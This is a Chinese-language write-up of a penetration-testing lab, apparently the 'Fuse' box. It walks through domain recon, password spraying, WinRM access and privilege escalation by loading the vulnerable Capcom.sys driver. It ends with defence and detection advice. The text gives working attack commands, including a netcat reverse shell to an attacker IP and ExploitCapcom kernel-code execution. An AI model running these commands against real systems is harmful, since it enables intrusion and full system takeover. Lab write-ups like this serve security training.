域渗透实战之fuse
字数 1502 2025-08-24 07:48:33
Windows域渗透实战:利用SeLoadDriverPrivilege权限提升
1. 信息收集阶段
1.1 端口扫描与识别
- 使用nmap进行初始端口探测:
nmap -sV -O <目标IP> - 识别出Windows域控制器特征
1.2 SMB服务探测
- 使用crackmapexec确认操作系统和域信息:
crackmapexec smb <目标IP> - 使用smbmap尝试未授权访问:
smbmap -H <目标IP>
1.3 Web应用信息收集
- 绑定hosts文件访问目标网站
- 发现包含用户名的文件
- 进行目录暴力破解(未获有效结果)
1.4 LDAP探测
- 使用ldapsearch尝试查询:
ldapsearch -x -H ldap://<目标IP> -b "dc=fabricorp,dc=local"
2. 用户枚举与密码爆破
2.1 生成用户列表
- 使用cewl从网站日志中提取潜在用户名:
cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
2.2 密码爆破
- 使用生成的用户列表进行密码爆破
- 发现有效凭证:
svc-print:Fabricorp02
3. 初始访问
3.1 通过SMB登录
- 使用获取的凭证连接SMB:
smbclient -U 'fabricorp.local\svc-print%Fabricorp02' //<目标IP>/share
3.2 通过WinRM获取Shell
- 使用evil-winrm获取交互式shell:
evil-winrm -i <目标IP> -u 'svc-print' -p 'Fabricorp02'
4. 权限提升分析
4.1 检查用户权限
- 在shell中执行:
whoami /priv - 发现关键权限:
SeLoadDriverPrivilege
4.2 SeLoadDriverPrivilege权限分析
- 该权限允许用户加载和卸载设备驱动程序
- 默认仅分配给管理员和打印操作员组
- 可被滥用来加载有漏洞的驱动程序实现权限提升
5. 漏洞利用准备
5.1 选择易受攻击的驱动程序
- 使用Capcom.sys驱动程序(已知漏洞):
- SHA1: c1d5cf8c43e7679b782630e93f5e6420ca1749a7
- 允许从用户空间在内核空间执行代码
5.2 编译利用工具
- 获取ExploitCapcom源码:
git clone https://github.com/FuzzySecurity/Capcom-Rootkit - 使用Visual Studio编译ExploitCapcom.exe
6. 权限提升实施
6.1 上传必要文件
- 上传编译好的ExploitCapcom.exe和Capcom.sys到目标
6.2 加载驱动程序
.\ExploitCapcom.exe System\CurrentControlSet\dfserv C:\ProgramData\Capcom.sys
.\ExploitCapcom.exe LOAD C:\ProgramData\Capcom.sys
6.3 执行任意命令
.\ExploitCapcom.exe EXPLOIT whoami
6.4 获取反向Shell
- 上传netcat到目标
- 执行:
.\ExploitCapcom.exe EXPLOIT "nc.exe <攻击者IP> 4444 -e cmd.exe" - 在攻击机监听:
nc -lvnp 4444
7. 技术原理深入
7.1 SeLoadDriverPrivilege工作机制
- 通过
NTLoadDriverAPI加载驱动程序 - 通常需要管理员权限,但可通过HKCU注册表项绕过
- 注册表路径格式:
Registry\User\{NON_PRIVILEGED_USER_SID}
7.2 利用步骤详解
- 获取不受限制的访问令牌(通过UAC绕过或提升)
- 激活SeLoadDriverPrivilege权限
- 在HKCU下创建注册表项配置驱动程序
- 调用NTLoadDriver加载驱动程序
- 通过漏洞驱动程序执行内核代码
7.3 关键API函数
LookupPrivilegeValue()- 获取权限引用AdjustTokenPrivileges()- 激活/禁用权限NTLoadDriver()- 加载驱动程序
8. 防御建议
8.1 防御措施
- 限制SeLoadDriverPrivilege权限分配
- 实施驱动程序签名验证
- 监控驱动程序加载事件
- 定期审核用户权限分配
8.2 检测方法
- 监控HKLM和HKCU下的驱动程序注册表项
- 检查异常驱动程序加载行为
- 审计具有SeLoadDriverPrivilege权限的非管理员账户
9. 总结
本案例展示了如何通过以下步骤完成域渗透:
- 信息收集识别域控制器
- 密码爆破获取初始访问
- 权限分析发现SeLoadDriverPrivilege
- 加载有漏洞驱动程序实现权限提升
- 最终获取系统完全控制权
关键点在于识别和滥用不当分配的特权,特别是SeLoadDriverPrivilege在非管理员账户上的分配。